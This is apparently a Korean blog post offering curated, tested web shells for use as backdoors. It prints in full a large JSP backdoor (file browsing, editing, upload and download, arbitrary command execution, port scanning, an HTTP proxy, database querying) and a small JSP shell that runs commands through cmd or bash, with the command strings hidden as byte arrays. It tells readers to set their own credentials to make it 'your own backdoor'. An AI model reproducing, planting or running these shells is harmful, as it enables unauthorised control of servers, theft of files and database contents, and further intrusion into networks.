웹쉘도 종류가 여러가지 있다.
jsp 페이지 asp 페이지 마다 다른 코드가 적용되어야하고
서버의 OS가 윈도우인지 리눅스인지에 따라서도 다르다.
DB커넥션을 이용해 데이터베이스에 접근 하려해도
Oracle DB커넥션, Mysql DB커넥션, MS-SQL DB커넥션 등등
수 많은 웹쉘 코드가 오픈소스로 공유되어있지만,
직접 다 테스트해보며 괜찮은 코드들을 엄선했다.
1. Jsp BackDoor
코드 보기
<%@page import="java.util.*,java.io.*,java.sql.*,java.util.zip.*,java.lang.reflect.*,java.net.*,javax.servlet.jsp.*"%>
<%@page pageEncoding="UTF-8"%>
<%!
final String APP_NAME="Manage System - JSP";
int portListen=5000;
boolean openHttpProxy=false;
void mainForm(String web_Site,JspWriter out)throws Exception{
out.print("<table width=100% height=100% border=0 bgcolor=white>");
out.print("<tr><td height=30 colspan=2>");
out.print("<table width=100% height=25 border=0>");
out.print("<form name=address method=post target=FileFrame onSubmit='checkUrl();'>");
out.print("<tr><td width=60 align=center>FilePath:</td><td>");
out.print("<input name=FolderPath style=width:100% value='"+web_Site+"' onchange='checkUrl();'>");
out.print("<input type=hidden name=Action value=F>");
out.print("<input type=hidden name=Filename>");
out.print("</td><td width=60 align=center><a href='javascript:checkUrl();'>GOtoLink</a>");
out.print("</td></tr></form></table></td></tr><tr><td width=148>");
out.print("<iframe name=Menu src=?Action=M width=100% height=100% frameborder=2 scrolling=yes></iframe></td>");
out.print("<td width=600>");
out.print("<iframe name=FileFrame src='?Action=F&FolderPath="+web_Site+"' width=100% height=100% frameborder=1 scrolling=yes></iframe>");
out.print("</td></tr></table>");
}
void mainMenu(JspWriter out,String web_Site)throws Exception{
out.println("<table>");
out.println("<tr><td bgcolor=Black><a href=?Action=M>"+ico(58)+"FileOperation(File.class)</a></td></tr>");
out.println("<tr><td bgcolor=white onclick=top.address.FolderPath.value='"+folderReplace(web_Site)+"'><a href='?Action=F&FolderPath="+web_Site+"' target=FileFrame>"+ico(48)+"WEB Folder</a></td></tr>");
out.println("<tr><td bgcolor=white><a href=?Action=S target=FileFrame>"+ico(53)+"SystemInfo(System.class)</a></td></tr>");
out.println("<tr><td bgcolor=white><a href=?Action=L target=FileFrame>"+ico(53)+"ServletInfo</a></td></tr>");
out.println("<tr><td bgcolor=white><a href=?Action=T target=FileFrame>"+ico(53)+"SystemTools</a></td></tr>");
out.println("<tr><td bgcolor=white><a href=?Action=i target=FileFrame>"+ico(57)+"Interfaces</a></td></tr>");
out.println("<tr><td bgcolor=white><a href='http://blackbap.org/' target=FileFrame>About Silic Group</a></td></tr>");
out.println("</table>");
}
void showFiles(JspWriter out,String path)throws Exception{
File file=new File(path);
long maxSize=0;
if(file.isDirectory()&&file.exists()){
File[] f=file.listFiles();
out.println("<table><tr bgcolor=white><td>name</td><td>type</td><td>size</td><td>modify date</td><td>readonly</td><td>can write</td><td>hidden</td><td>Action</td></tr>");
for(int i=0;i<f.length;i++){
maxSize=maxSize+f[i].length();
if(f[i].isDirectory())
out.println("<tr bgcolor=white><td><a href=\"javascript:top.address.FolderPath.value='"+folderReplace(f[i].getAbsolutePath())+"/';checkUrl();\">"+ico(48)+f[i].getName()+"</a></td><td> DIR </td><td>"+getSize(f[i].length())+"</td><td>"+new java.util.Date(f[i].lastModified())+"</td><td>"+f[i].canRead()+"</td><td>"+f[i].canWrite()+"</td><td>"+f[i].isHidden()+"</td><td>"+fOperation(true,f[i].getAbsolutePath())+"</td></tr>");
else
out.println("<tr><td>"+ico(50)+f[i].getName()+"</td><td> file </td><td>"+getSize(f[i].length())+"</td><td>"+new java.util.Date(f[i].lastModified())+"</td><td>"+f[i].canRead()+"</td><td>"+f[i].canWrite()+"</td><td>"+f[i].isHidden()+"</td><td>"+fOperation(false,f[i].getAbsolutePath())+"</td></tr>");
}
out.println("</table>");
out.print("this folder size:"+getSize(maxSize));
}
}
void showSystemInfo(JspWriter out)throws Exception{
Map map=null;
Set set=null;
Iterator it=null;
map=System.getProperties();
set=map.keySet();
it=set.iterator();
out.println("<hr>System Property info:<ul>");
while(it.hasNext()){
Object oName=it.next();
out.println("<li>"+oName+" [ "+map.get(oName)+" ]");
}
out.print("</ul><hr>System CPU :");
out.print(Runtime.getRuntime().availableProcessors()+" <br>");
out.print("the JVM Free Memory :"+getSize(Runtime.getRuntime().freeMemory()));
out.print("<br>the JVM Max Memory :"+getSize(Runtime.getRuntime().maxMemory()));
}
void servletInfo(ServletConfig config,JspWriter out)throws Exception{
ServletContext sc=config.getServletContext();
out.println("Server info: "+sc.getServerInfo()+"<br>");
out.println("ServletContext name: "+sc.getServletContextName()+"<br>");
out.println("Major version :"+sc.getMajorVersion()+"<br>");
out.println("Minor version :"+sc.getMinorVersion()+"<br>");
Enumeration en=sc.getInitParameterNames();
String initInfo="init parameter: <br>";
out.print(initInfo);
while(en.hasMoreElements()){
String name=(String)en.nextElement();
initInfo="key:"+name+" value:"+sc.getInitParameter(name) +"<br>";
out.print(initInfo);
}
}
void downFile(String filename,HttpServletResponse res)throws Exception{
int w=0;
byte[] buffer=new byte[256];
byte[] b=(new File(filename)).getName().getBytes();
String outFile=new String(b,"ISO-8859-1");
res.reset();
res.setHeader("Content-disposition","attachment;filename=\""+outFile+"\"");
ServletOutputStream sos=res.getOutputStream();
BufferedInputStream bis=null;
try{
bis=new BufferedInputStream(new FileInputStream(filename));
while((w=bis.read(buffer,0,buffer.length))!=-1){
sos.write(buffer,0,w);
}
}catch(Exception e){
}finally{
if(bis!=null)bis.close();
}
sos.flush();
res.flushBuffer();
}
void deleteFile(String filename,JspWriter out)throws Exception{
File f=new File(filename);
if(f.exists()){
if(f.delete())out.print(filename+"delete success...");
}else{
out.print("file not find!!");
}
}
void renameFile(String filename,JspWriter out)throws Exception{
int split=filename.indexOf("|");
String newFilename=filename.substring(split+1);
filename=filename.substring(0,split);
File f=new File(filename);
if(f.exists()){
if(f.renameTo(new File(newFilename)))out.print(newFilename+" file move success");
}else{
out.print("file not find!");
}
}
void copyFile(String filename,JspWriter out)throws Exception{
int split=filename.indexOf("|");
String newFilename=filename.substring(split+1);
filename=filename.substring(0,split);
File f=new File(filename);
BufferedInputStream bis=null;
BufferedOutputStream bos=null;
if(f.exists()){
try{
bis=new BufferedInputStream(new FileInputStream(filename));
bos=new BufferedOutputStream(new FileOutputStream(newFilename));
int s=0;
while((s=bis.read())!=-1){
bos.write(s);
}
}catch(Exception e){
out.print("file copy failed");
}finally{
if(bis!=null)bis.close();
if(bos!=null)bos.close();
}
out.print(newFilename+"file copy success");
}else{
out.print("file not find!");
}
}
void editFile(String filename,JspWriter out)throws IOException{
File f=new File(filename);
out.print("<form method=post>File Path:");
out.print("<input type=text size=80 name=filename value='"+filename+"'>");
out.print("<input type=button name=kFile onClick='this.form.action=\"?Action=K\";this.form.submit();' value=KeepFile >");
out.print("<input type=button onClick=editFile(this.form.filename.value); value=ReadFile>");
out.print("<textarea name=FileContent rows=35 style=width:100%;>");
if(f.exists()){
try{
BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(filename),"UTF-8"));
String s="";
while((s=br.readLine())!=null){
out.println(htmlEntity(s));
}
}catch(Exception e){
out.print("file edit failed");
}finally{
}
}
out.print("</textarea></form>");
}
void saveFile(String filename,byte[] fileContent,JspWriter out)throws IOException{
if(filename!=null||fileContent!=null){
BufferedOutputStream bos=null;
try{
bos=new BufferedOutputStream(new FileOutputStream(filename));
bos.write(fileContent,0,fileContent.length);
}finally{
if(bos!=null)bos.close();
}
out.print(filename+"file save success");
}else{
out.print("Error");
}
}
void dateChange(String filename,String year,String month,String day,JspWriter out)throws IOException{
File f=new File(filename);
if(f.exists()){
Calendar calendar=Calendar.getInstance();
calendar.set(Integer.parseInt(year),Integer.parseInt(month),Integer.parseInt(day));
if(f.setLastModified(calendar.getTimeInMillis()))
out.print(filename+"file date change success");
else
out.print(filename+"file date change error");
}else{
out.println("file not find!!!");
}
}
void execFile(String file,JspWriter out)throws Exception{
int i=0;
Runtime rt=Runtime.getRuntime();
Process ps=rt.exec(file);
InputStreamReader isr = null;
char[] bufferC=new char[1024];
try{
isr=new InputStreamReader(ps.getInputStream(),"UTF-8");
out.print("<textarea rows=35 style=width:100%;>");
while((i=isr.read(bufferC,0,bufferC.length))!=-1){
out.print(htmlEntity(new String(bufferC,0,i)));
}
}catch(Exception e){
out.print("run file error");
}finally{
if(isr!=null)isr.close();
}
out.print("</textarea>");
systemTools(out);
}
void zip(String zipPath, String srcPath,JspWriter out) throws Exception {
FileOutputStream output = null;
ZipOutputStream zipOutput = null;
try{
output = new FileOutputStream(zipPath);
zipOutput = new ZipOutputStream(output);
zipEntry(zipOutput,srcPath,srcPath,zipPath);
}catch(Exception e){
out.print("file zip error");
}finally{
if(zipOutput!=null)zipOutput.close();
}
out.print("zip ok"+zipPath);
}
void zipEntry(ZipOutputStream zipOs, String initPath,String filePath,String zipPath) throws Exception {
String entryName = filePath;
File f = new File(filePath);
if (f.isDirectory()){
String[] files = f.list();
for(int i = 0; i < files.length; i++)
zipEntry(zipOs, initPath, filePath + File.separator + files[i],zipPath);
return;
}
String chPh = initPath.substring(initPath.lastIndexOf("/") + 1);
int idx=initPath.lastIndexOf(chPh);
if (idx != -1) {
entryName = filePath.substring(idx);
}
ZipEntry entry;
entry = new ZipEntry(entryName);
File ff = new File(filePath);
if(ff.getAbsolutePath().equals(zipPath))return;
entry.setSize(ff.length());
entry.setTime(ff.lastModified());
entry.setCrc(0);
CRC32 crc = new CRC32();
crc.reset();
zipOs.putNextEntry(entry);
int len = 0;
byte[] buffer = new byte[2048];
int bufferLen = 2048;
FileInputStream input =null;
try{
input = new FileInputStream(filePath);
while ((len = input.read(buffer, 0, bufferLen)) != -1) {
zipOs.write(buffer, 0, len);
crc.update(buffer, 0, len);
}
}catch(Exception e){
}finally{
if(input!=null)input.close();
}
entry.setCrc(crc.getValue());
}
void upfile(HttpServletRequest request,JspWriter out,String filename)throws Exception{
String boundary = request.getContentType().substring(30);
ServletInputStream sis=request.getInputStream();
BufferedOutputStream bos=null;
byte[] buffer = new byte[1024];
int line=-1;
for(int i=0;i<5;i++){
line=readLine(buffer,sis,boundary);
}
try{
bos=new BufferedOutputStream(new FileOutputStream(filename));
while(line!=-1){
bos.write(buffer,0,line);
line=readLine(buffer,sis,boundary);
}
out.print("upload success");
}catch(Exception e){
out.print("upload failed!");
}finally{
if(bos!=null)bos.close();
}
}
int readLine(byte[] lineByte,ServletInputStream servletInputstream,String endStr){
try{
int len=0;
len=servletInputstream.readLine(lineByte,0,lineByte.length);
String str=new String(lineByte,0,len);
System.out.println(str);
if(str.indexOf(endStr)==-1)
return len;
else
return -1;
}catch(Exception _ex){
return -1;
}
}
void newFolder(JspWriter out,String foldername)throws Exception{
File f=new File(foldername);
if(f.mkdirs()){
out.print("create folder success");
}else{
out.print("create folder failed!");
}
}
void reflectAPI(JspWriter out,String className)throws Exception{
Class cls=Class.forName(className);
String constructor="";
String ifString="";
Class[] interfaces=cls.getInterfaces();
String supperClass=cls.getSuperclass().toString();
Constructor[] c=cls.getDeclaredConstructors();
Field[] f=cls.getDeclaredFields();
Method[] m=cls.getDeclaredMethods();
for(int i=0;i<interfaces.length;i++){
ifString=ifString+interfaces[i].getName()+",";
}
out.print("<strong>"+Modifier.toString(cls.getModifiers())+"</strong> "+cls+"<br><strong>extends</strong> "+supperClass+" <strong><br>implemets</strong> "+ifString);
out.print("<br>{<br><EM>Constructor:</EM><br>");
for(int i=0;i<c.length;i++)
out.print(" "+c[i]+"<br>");
out.print("<EM>Field:</EM><br>");
for(int i=0;i<f.length;i++)
out.print(" "+f[i]+"<br>");
out.print("<EM>Function:</EM><br>");
for(int i=0;i<m.length;i++)
out.print(" "+m[i]+"<br>");
out.print("<br>}");
}
void scanPort(JspWriter out,String strAddress,int startPort,int endPort)throws Exception{
if(endPort<startPort||startPort<=0||startPort>65535||endPort>65535||endPort<=0){
out.print("port setup error");
return;
}
InetAddress ia=InetAddress.getByName(strAddress);
for(int p=startPort;p<=endPort;p+=15){
(new ScanPort(ia,p,p+14,out)).start();
}
Thread.sleep((int)(endPort/startPort)*5000);
}
class ScanPort extends Thread{
int startPort;
int endPort;
InetAddress address;
javax.servlet.jsp.JspWriter out;
public ScanPort(InetAddress address,int startPort,int endPort,JspWriter out){
this.address=address;
this.startPort=startPort;
this.endPort=endPort;
this.out=out;
}
public void run(){
Socket s=null;
for(int port=startPort;port<=endPort;port++){
try{
s=new Socket(address,port);
out.println("port "+port+" is Open<br>");
}
catch(IOException e){
}finally{
try{s.close();}catch(Exception e){}
}
}
}
}
public void switchProxyService(JspWriter out)throws Exception{
if(openHttpProxy=!openHttpProxy){
new RunProxyService(portListen).start();
out.print("Proxy running");
}else{
out.print("Proxy closed");
}
}
public class RunProxyService extends Thread{
int port;
public RunProxyService(int port){
this.port=port;
}
public void run(){
try {
ServerSocket ss=new ServerSocket(5000);
while(true){
if(openHttpProxy){
new HttpProxy(ss.accept()).start();
}else{
break;
}
}
ss.close();
} catch (IOException e) {
}
}
}
public class HttpProxy extends Thread{
private Socket s;
public int timeOut=10000;
public HttpProxy(Socket s){
this.s=s;
}
public HttpProxy(Socket s,int timeOut){
this.s=s;
this.timeOut=timeOut;
}
public void run(){
byte[] bit=new byte[1024];
int readBit=0;
int size=0;
String returnAddress=null;
int returnPort = 0;
String sendHostName=null;
int sendPort=0;
Socket sendSocket=null;
OutputStream os=null;
InputStream is=null;
try{
int split=0;
is=s.getInputStream();
if((size=is.read(bit, 0, bit.length))==-1)return;
String httpHead=new String(bit,0,size);
split=httpHead.indexOf("\nHost: ")+7;
sendHostName=httpHead.substring(split, httpHead.indexOf("\n", split));
if((split=sendHostName.indexOf(':'))!=-1){
sendPort=Integer.parseInt(sendHostName.substring(split+1).trim());
sendHostName=sendHostName.substring(0,split);
sendSocket=new Socket(sendHostName.trim(),sendPort);
}else{
sendSocket=new Socket(sendHostName.trim(),80);
}
sendSocket.setSoTimeout(timeOut);
os=sendSocket.getOutputStream();
os.write(httpHead.getBytes());
if(size==bit.length)
while((size=is.read(bit, 0, bit.length))!=-1){
os.write(bit,0 , size);
}
os.flush();
is=sendSocket.getInputStream();
os=s.getOutputStream();
while((size=is.read(bit, 0, bit.length))!=-1){
os.write(bit,0 , size);
os.flush();
}
}catch(SocketException se){
} catch (IOException ie) {
} catch (Exception e) {
}finally{
if(is!=null){
try {
is.close();
} catch (IOException e) {
}
}
if(os!=null){
try {
os.close();
} catch (IOException e) {
}
}
}
}
}
void ConnectionDBM(JspWriter out,String driver,String url,String userName,String passWord,String sqlAction,String sqlCmd)throws Exception{
DBM dbm=new DBM(driver,url,userName,passWord,out);
if(sqlAction.equals("LDB")){
dbm.lookInfo();
}else{
dbm.executeSQL(sqlCmd);
}
dbm.closeAll();
}
class DBM{
private JspWriter out;
private Connection con;
private Statement stmt;
private ResultSet rs;
public DBM(String driverName,String url,String userName,String passWord,JspWriter out)throws Exception{
Class.forName(driverName);
this.out=out;
con=DriverManager.getConnection(url,userName,passWord);
}
public void lookInfo()throws Exception{
DatabaseMetaData dbmd=con.getMetaData();
String tableType=null;
out.print("<strong>DataBaseInfo</strong><table>");
out.print("<tr><td>DataBaseName:</td><td>"+dbmd.getDatabaseProductName()+"</td></tr>");
out.print("<tr><td>DataBaseVersion:</td><td>"+dbmd.getDatabaseProductVersion()+"</td></tr>");
out.print("<tr><td>the Numeric Function:</td><td>"+dbmd.getNumericFunctions()+"</td></tr>");
out.print("<tr><td>the String Function:</td><td>"+dbmd.getStringFunctions()+"</td></tr>");
out.print("<tr><td>the TimeDate Function:</td><td>"+dbmd.getTimeDateFunctions()+"</td></tr>");
out.print("<tr><td>the System Function:</td><td>"+dbmd.getSystemFunctions()+"</td></tr>");
out.print("</table>");
out.print("<strong>ProcedureInfo</strong><table>");
try{
getProcedureDetail(dbmd.getProcedures(null,null,null));
}catch(Exception proE){}
try{
rs=dbmd.getTables(null,null,null,null);
}catch(Exception tabE){}
out.print("<strong>DataBase Tables Info</strong><br>");
while(rs.next()){
tableType=rs.getString(4);
out.print("<strong>TableName:</strong>"+rs.getString(3)+" <strong>Type:</strong>"+tableType+"<br>");
if(tableType.indexOf("VIEW")>=0||tableType.indexOf("TABLE")>=0){
try{
getTableDetail(dbmd.getColumns(null,null,rs.getString(3),null));
}catch(Exception columnE){}
}
}
this.closeAll();
}
private void getTableDetail(ResultSet tableRs)throws Exception{
out.print("<table border=1><tr><td>Column Name</td><td>Data Type</td><td>Type Name</td><td>COLUMN_SIZE</td><td>IS_NULLABLE</td><td>CHAR_OCTET_LENGTH</td></tr>");
while(tableRs.next()){
out.print("<tr><td>"+tableRs.getString(4)+"</td><td>"+tableRs.getInt(5)+"</td><td>"+tableRs.getString(6)+"</td><td>"+tableRs.getInt(7)+"</td><td>"+tableRs.getString(18)+"</td><td>"+tableRs.getInt(16)+"</td></tr>");
}
out.print("</table>");
tableRs.close();
}
private void getProcedureDetail(ResultSet procRs)throws Exception{
out.print("<table border=1><tr><td>PROCEDURE_NAME</td><td>REMARKS</td><td>PROCEDURE_TYPE</td></tr>");
while(procRs.next()){
out.print("<tr><td>"+procRs.getString(3)+"</td><td>"+procRs.getString(7)+"</td><td>"+procRs.getShort(8)+"</td></tr>");
}
out.print("</table>");
procRs.close();
}
public void executeSQL(String sqlCmd)throws Exception{
stmt=con.createStatement();
if(sqlCmd.trim().toLowerCase().startsWith("select")){
rs=stmt.executeQuery(sqlCmd);
ResultSetMetaData rsmd=rs.getMetaData();
int ColumnCount=rsmd.getColumnCount();
out.print("<table border=1><tr>");
for(int i=1;i<=ColumnCount;i++){
out.print("<td>"+rsmd.getColumnName(i)+"</td>");
}
out.print("</tr>");
while(rs.next()){
out.print("</tr>");
for(int i=1;i<=ColumnCount;i++){
out.print("<td>"+rs.getString(i)+"</td>");
}
out.print("</tr>");
}
}else{
stmt.executeUpdate(sqlCmd);
out.print("execute success");
}
}
public void closeAll()throws SQLException{
try{
if(rs!=null)rs.close();
}catch(Exception e){
}
try{
if(stmt!=null)stmt.close();
}catch(Exception e){
}
try{
if(con!=null)con.close();
}catch(Exception e){
}
}
}
void systemTools(JspWriter out)throws Exception{
out.print("<table border=1>");
out.print("<tr><form method=post action='?Action=run'><td bordercolorlight=Black bgcolor=white>System class run</td>");
out.print("<td colspan=2>filepath:<input name=execFile size=75 type=text title='d:\\cmd.exe /c dir c:'></td><td><input name=go type=submit value=run></td></form></tr>");
out.print("<tr><form method=post enctype=\"multipart/form-data\" action='?Action=Upfile'><td bordercolorlight=Black bgcolor=white>file upload</td>");
out.print("<td colspan=2>file:<input name=file type=file>upload file<input title='d:\\silic.txt' name=UPaddress size=35 type=text></td><td><input name=up onclick=\"this.form.action+='&UPaddress='+this.form.UPaddress.value;\" type=submit value=upl></td></form></tr>");
out.print("<tr><form method=post action='?Action=EditFile'><td bordercolorlight=Black bgcolor=white>new file</td><td colspan=2>file name:<input name=Filename type=text size=50></td><td><input name=submit type=submit value=new></td>");
out.print("</form></tr>");
out.print("<tr><form method=post action='?Action=newFolder'><td bordercolorlight=Black bgcolor=white>Create folder</td><td colspan=2>folder name:<input name=Filename type=text size=50></td><td><input name=submit type=submit value=new></td>");
out.print("</form></tr>");
out.print("<tr><form method=post action='?Action=APIreflect'><td bordercolorlight=Black bgcolor=white>Reflect API</td><td colspan=2>Class Name:<input name=Filename title=java.lang.String type=text size=50></td><td><input name=submit type=submit value=ref></td>");
out.print("</form></tr>");
out.print("<tr><form method=post action='?Action=IPscan'><td bordercolorlight=Black bgcolor=white>Scan Port</td><td>IP:<input name=IPaddress type=text size=20></td><td>Start Port:<input name=startPort title=1-65535 type=text size=5>End Port:<input name=endPort title=1-65535 type=text size=5></td><td><input name=submit type=submit value=sca></td>");
out.print("</form></tr>");
out.print("<tr><form method=post action='?Action=sql'>");
out.print("<td bordercolorlight=Black bgcolor=white>DBM");
out.print("<select name=DB onChange='setDataBase(this.form);'><option>Sybase</option><option>Mssql</option><option>Mysql</option><option>Oracle</option><option>DB2</option><option>PostgreSQL</option></select></td><td>");
out.print("Driver:<input name=driver type=text>URL:<input name=conUrl type=text>user:<input name=user type=text size=3>password:<input name=password type=text size=3></td>");
out.print("<td>SqlCmd:<input type=text name=sqlcmd title='select * from admin'><input name=run type=submit value=Exec></td>");
out.print("<td><input name=run type=submit value=LDB></td>");
out.print("</form></tr>");
if(!openHttpProxy){
out.print("<tr><td><a href='?Action=HttpProxy' target=FileFrame>OpenTheHttpProxy</a></td></tr>");
}else{
out.print("<tr><td><a href='?Action=HttpProxy' target=FileFrame>CloseTheHttpProxy</a></td></tr>");
}
out.print("</table>");
}
void userInterFaces(JspWriter out)throws Exception{
out.print("Recode by <a href='http://blackbap.org/'>Silic Group Inc.</a>");
}
String encodeChange(String str)throws Exception{
if(str==null)
return null;
else
return new String(str.getBytes("ISO-8859-1"),"UTF-8");
}
String folderReplace(String folder){
return folder.replace('\\','/');
}
String fOperation(boolean f,String file){
if(f)
return "<a href=\"javascript:delFile('"+folderReplace(file)+"')\">Delete</a> <a href=\"javascript:reName('"+folderReplace(file)+"')\">Rename</a> <a href=\"javascript:setDate('"+folderReplace(file)+"')\">setDate</a> <a href=\"javascript:zipFile('"+folderReplace(file)+"')\">Zip</a>";
else
return "<a href=\"javascript:delFile('"+folderReplace(file)+"')\">Delete</a> <a href=\"javascript:reName('"+folderReplace(file)+"')\">Rename</a> <a href=\"javascript:setDate('"+folderReplace(file)+"')\">setDate</a> <a href=\"javascript:copyFile('"+folderReplace(file)+"')\">Copy</a> <a href=\"javascript:editFile('"+folderReplace(file)+"')\">Edit</a> <a href=\"javascript:downFile('"+folderReplace(file)+"');\">Down</a>";
}
String getSize(long size){
if(size>=1024*1024*1024){
return new Long(size/1073741824L)+"G";
}else if(size>=1024*1024){
return new Long(size/1048576L)+"M";
}else if(size>=1024){
return new Long(size/1024)+"K";
}else
return size+"B";
}
String ico(int num){
return "<font face=wingdings size=3>&#"+num+"</font>";
}
String htmlEntity(String htmlCode){
StringBuffer sb=new StringBuffer();
char c=0;
for(int i=0;i<htmlCode.length();i++){
c=htmlCode.charAt(i);
if(c=='<')sb.append("<");
else if(c=='>')sb.append(">");
else if(c==' ')sb.append(" ");
else sb.append(c);
}
return sb.toString();
}
%>
<%
session.setMaxInactiveInterval(6000);
final String WEB_SITE=folderReplace(application.getRealPath("/"));
final String URL=request.getRequestURI();
if(session.getAttribute("ID")==null){
String username="ID입력";
String password="PW입력";
if(request.getParameter("Silic")!=null&&request.getParameter("juliet")!=null&&request.getParameter("Silic").equals(username)&&request.getParameter("juliet").equals(password)){
session.setAttribute("ID","1");
response.sendRedirect(URL);
}else{
out.println("<center style=font-size:12px><br><br>"+"Jsp BackDoor by Silic Group Juliet"+"<br><br>" +
"<form name=login method=post>username:<input name=Silic type=text size=15><br>" +
"password:<input name=juliet type=password size=15><br><input type=submit value=Login></form></center>");
}
return;
}
%>
<html>
<head>
<meta http-equiv=Content-Type content="text/html; charset=UTF-8">
<title><%=APP_NAME%></title>
<style type="text/css">
body,td{font-size: 12px;}
table{T:expression(this.border='1',this.borderColorLight='Black',this.borderColorDark='White');}
input,select{font-size:12px;}
body{bgcolor="white";margin-left:0px;margin-top:0px;margin-right:0px;margin-bottom:0px;}
td{white-space:nowrap;}
a{color:black;text-decoration:none;}
</style>
<script>
Top=top.address;
function downFile(file){
Top.Filename.value=file;
Top.Action.value="D";
Top.submit();
}
function checkUrl(){
top.address.Action.value="F";
top.address.submit();
}
function editFile(file){
top.address.Action.value="E";
top.address.Filename.value=file;
top.address.submit();
}
function delFile(file){
top.address.Action.value="R";
top.address.Filename.value=file;
top.address.submit();
}
function reName(file){
if((Rname=prompt("rename to?",file))!=""&&Rname!=null){
Top.Action.value="N";
top.address.Filename.value=file+"|"+Rname;
Top.submit();
}
}
function copyFile(file){
if((Rname=prompt("copy to?",file))!=""&&Rname!=null){
Top.Action.value="P";
top.address.Filename.value=file+"|"+Rname;
Top.submit();
}
}
function setDate(file){
document.write("Change date:<br><form method='post' action='?Action=dateChange'>");
document.write("filename:<input name='Filename' type='text' size=60 readonly value='"+file+"'><br>");
document.write("Year:<select name='year'>");
for(i=1970;i<=2050;i++){
document.write("<option value="+i+">"+i+"</option>");
}
document.write("</select>");
document.write("Month:<select name='month'>");
for(i=1;i<=12;i++){
document.write("<option value="+i+">"+i+"</option>");
}
document.write("</select>");
document.write("Day:<select name='day'>");
for(i=1;i<=31;i++){
document.write("<option value="+i+">"+i+"</option>");
}
document.write("</select>");
document.write("<input name='Action' type='button' onclick='top.address.Action.value=\"d\";this.form.submit();' value='dateChange'>");
document.write("<input name='cancel' onclick='history.back();' type='button' value='Cancel'>");
}
function zipFile(file){
if((zipF=prompt("save to ?",file+"/down.zip"))!=""&&zipF!=null){
top.address.Action.value="Z";
top.address.FolderPath.value=file;
top.address.Filename.value=zipF;
top.address.submit();
}
}
function setDataBase(f){
driverName=new Array();
driverName[0]="com.sybase.jdbc2.jdbc.SybDriver";
driverName[1]="com.microsoft.jdbc.sqlserver.SQLServerDriver";
driverName[2]="com.mysql.jdbc.Driver";
driverName[3]="oracle.jdbc.driver.OracleDriver";
driverName[4]="com.ibm.db2.jdbc.app.DB2Driver";
driverName[5]="org.postgresql.Driver";
conUrl=new Array();
conUrl[0]="jdbc:jtds:sybase://host:port/database";
conUrl[1]="jdbc:microsoft:sqlserver://host:port;DatabaseName=";
conUrl[2]="jdbc:mysql://host:port/database";
conUrl[3]="jdbc:oracle:thin:@123.234.222.222:1521:orcl";
conUrl[4]="jdbc:db2://host:port/database";
conUrl[5]="jdbc:postgresql://host:port/database";
f.driver.value=driverName[f.DB.selectedIndex];
f.conUrl.value=conUrl[f.DB.selectedIndex];
}
</script>
</head>
<body bgcolor="white">
<%
String Action=request.getParameter("Action");
char action=(Action==null?"0":Action).charAt(0);
try{
switch(action){
case 'M':mainMenu(out,WEB_SITE);break;
case 'F':showFiles(out,encodeChange(request.getParameter("FolderPath")));break;
case 'S':showSystemInfo(out);break;
case 'L':servletInfo(config,out);break;
case 'D':downFile(encodeChange(request.getParameter("Filename")),response);return;
case 'E':editFile(encodeChange(request.getParameter("Filename")),out);break;
case 'R':deleteFile(encodeChange(request.getParameter("Filename")),out);break;
case 'K':saveFile(encodeChange(request.getParameter("filename")),request.getParameter("FileContent").getBytes("ISO-8859-1"),out);break;
case 'N':renameFile(encodeChange(request.getParameter("Filename")),out);break;
case 'P':copyFile(encodeChange(request.getParameter("Filename")),out);break;
case 'd':dateChange(encodeChange(request.getParameter("Filename")),request.getParameter("year"),request.getParameter("month"),request.getParameter("day"),out);break;
case 'r':execFile(encodeChange(request.getParameter("execFile")),out);break;
case 'Z':zip(encodeChange(request.getParameter("Filename")),encodeChange(request.getParameter("FolderPath")),out);break;
case 'U':upfile(request,out,encodeChange(request.getParameter("UPaddress")));break;
case 'n':newFolder(out,encodeChange(request.getParameter("Filename")));break;
case 'A':reflectAPI(out,encodeChange(request.getParameter("Filename")));break;
case 'I':scanPort(out,encodeChange(request.getParameter("IPaddress")),Integer.parseInt(request.getParameter("startPort")),Integer.parseInt(request.getParameter("endPort")));break;
case 's':ConnectionDBM(out,encodeChange(request.getParameter("driver")),encodeChange(request.getParameter("conUrl")),encodeChange(request.getParameter("user")),encodeChange(request.getParameter("password")),encodeChange(request.getParameter("run")),encodeChange(request.getParameter("sqlcmd")));break;
case 'H':switchProxyService(out);break;
case 'i':userInterFaces(out);break;
case 'T':systemTools(out);break;
default:
mainForm(WEB_SITE,out);break;
}
}catch(Exception e){
}
out.print("</body></html>");
out.close();
%>
해당 웹쉘을 실행하게 되면 로그인 페이지가 출력되는데 위 첨부해둔 코드기준 656줄 657줄에 ID와 PW를 설정해주면 자신만의 백도어로 활용할 수 있다.
로그인해서 보면 공격자가 보기 편한 인터페이스로 권한이 있는 만큼 서버 내 모든 파일을 다 확인할 수 있다.
파란색 박스는 현재 경로, 연두색 박스는 파일의 권한(chmod), 빨간색 박스는 파일 수정 및 삭제와 같은 기능을한다.
또한 DB 커넥션도 존재하며 실제로 아래 캡처와 같이 DB 정보와 실행할 쿼리를 입력하게되면 모든 DB 정보를 확인할 수 있다.
하지만 이렇게 좋은 기능들이 많은 웹쉘은 용량이 크다
그 만큼 소스코드도 많기 때문이다.
용량이 크면 용량제한이 걸린 웹에서는 업로드가 불가하다.
그래서 실제로 구글링으로 찾아보면 한 줄 웹쉘 이란 것도 있다.
2. Default WebShell
코드 보기
<%@ page pageEncoding="utf-8"%>
<%@ page import="java.util.Scanner" %>
<HTML>
<title>Hyotwo</title>
<BODY>
<H3>WebShell</H3>
<FORM METHOD="POST" NAME="form" ACTION="#">
<INPUT TYPE="text" NAME="q">
<INPUT TYPE="submit" VALUE="Fly">
</FORM>
<%
String op="Got Nothing";
String query = request.getParameter("q");
String fileSeparator = String.valueOf(java.io.File.separatorChar);
Boolean isWin;
if(fileSeparator.equals("\\")){
isWin = true;
}else{
isWin = false;
}
if (query != null) {
ProcessBuilder pb;
if(isWin) {
pb = new ProcessBuilder(new String(new byte[]{99, 109, 100}), new String(new byte[]{47, 67}), query);
}else{
pb = new ProcessBuilder(new String(new byte[]{47, 98, 105, 110, 47, 98, 97, 115, 104}), new String(new byte[]{45, 99}), query);
}
Process process = pb.start();
Scanner sc = new Scanner(process.getInputStream()).useDelimiter("\\A");
op = sc.hasNext() ? sc.next() : op;
sc.close();
}
%>
<PRE>
<%= op %>>
</PRE>
</BODY>
</HTML>
작은 용량의 웹쉘이다 직접 쉘명령을 입력해야한다.
하지만 쉘명령을 입력하는 것만으로도 활용 방법은 무궁무진하다.
이 밖에 좋은 쉘들
3. DB 커넥터
코드 보기
